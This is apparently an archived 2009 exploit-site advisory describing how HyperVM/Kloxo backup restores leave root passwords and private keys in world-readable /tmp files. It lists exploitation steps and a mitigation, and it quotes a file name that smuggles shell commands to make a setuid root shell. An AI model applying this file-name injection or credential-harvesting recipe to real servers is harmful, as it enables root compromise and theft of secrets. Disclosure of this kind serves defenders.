HyperVM is a virtualization application that runs off a host node and can provide
several Virtual Private Servers. There is a previously unreported vulnerability in
HyperVM/Kloxo.

It was originally documented in ISSUE 14 by an anonymous author:
http://www.milw0rm.com/exploits/8880

It turns out that he was showing how a root shell can be created:

	[user1@testing574 tmp]$ ls -al
	total 28
	drwxrwxrwt  4 root  root  4096 May 21 08:41 .
	drwxr-xr-x 24 root  root  4096 May 19 16:57 ..
	-rw-rw-r--  1 user1 user1    0 May 21 08:40 ;cd ..;chown root.root shell;chmod 4755 shell;
	drwx------  2 root  root  4096 May 21 08:41 backupPdUzR4
	-rwsr-xr-x  1 root  root  5056 May 21 08:41 shell
	-rw-rw-r--  1 user1 user1   89 May 21 08:33 shell.c

This is pointless, because after a 'restore from backup' in HyperVM, it creates that folder
"backupPdUzR4"

Let's take a look at it...On a VM I tested, even the directory was readable.
$ ls -lha /tmp/backupfileIy00MO/
total 36K
drwxr-xr-x 2 root root 4.0K Dec 12 02:18 .
drwxr-xr-x 3 root root 4.0K Dec 12 10:37 ..
-rw-r--r-- 1 root root  15K Dec 12 00:46 hypervm.file
-rw-r--r-- 1 root root  11K Dec 12 00:46 hypervm.metadata

World readable files. In it, root passwords in plain text. Including username, RSA private keys and lots more.

Here the VM type is shown, it appears to be OpenVZ:
$ cat hypervm.file
al_list";a:0:{}s:13:"__object_list";N;s:9:"subaction";N;s:8:"dbaction";s:5:"clean";s:12:"metadbaction";s:3:"all";s:7:"__class";s:11:"vps__op
envz";

--snip--
Private keys!
"hostname";s:8:"fakevps";s:12:"use
rname";s:10:"fakeusername";s:16:"text_private_key";s:887:"-----BEGIN RSA PRIVATE KEY-----

i+3UYzuVxCQkBdhoF/5nsXv5Qh914MHGnH12qepPokyjd
-----END RSA PRIVATE KEY-----
";s:15:"text_public_key";s:1188:"-----BEGIN CERTIFICATE-----

uR24why0WWPNsyJU3adesPo4eQf==
-----END CERTIFICATE-----

--snip--
Root passwords!
sable_reason";s:0:"";s:11:"createstage";s:0:"";s:13:"createmessage";s:0:"";s:12:"rootpassword";s:21:"xxxxxxxxxxxxxxxxxxxx";s:20:"rootpassword_changed";s

So in summary, here are the exploitation steps:
1. Log into HyperVM/Kloxo
2. Click "Backup Home"
3. In the field labeled "Restore from file", browse for any restore file from the popup box.
4. Wait till the VM has finished restoring from backup.
5. Login. If the root user hasn't deleted these files from /tmp/backupXXXXX before bringing up the network interface, you win.

Mitigation:
After the VM is restarted, manually delete these files as the root user before anyone else reads them.

Regards,
Xia Shing Zee

# milw0rm.com [2009-08-25]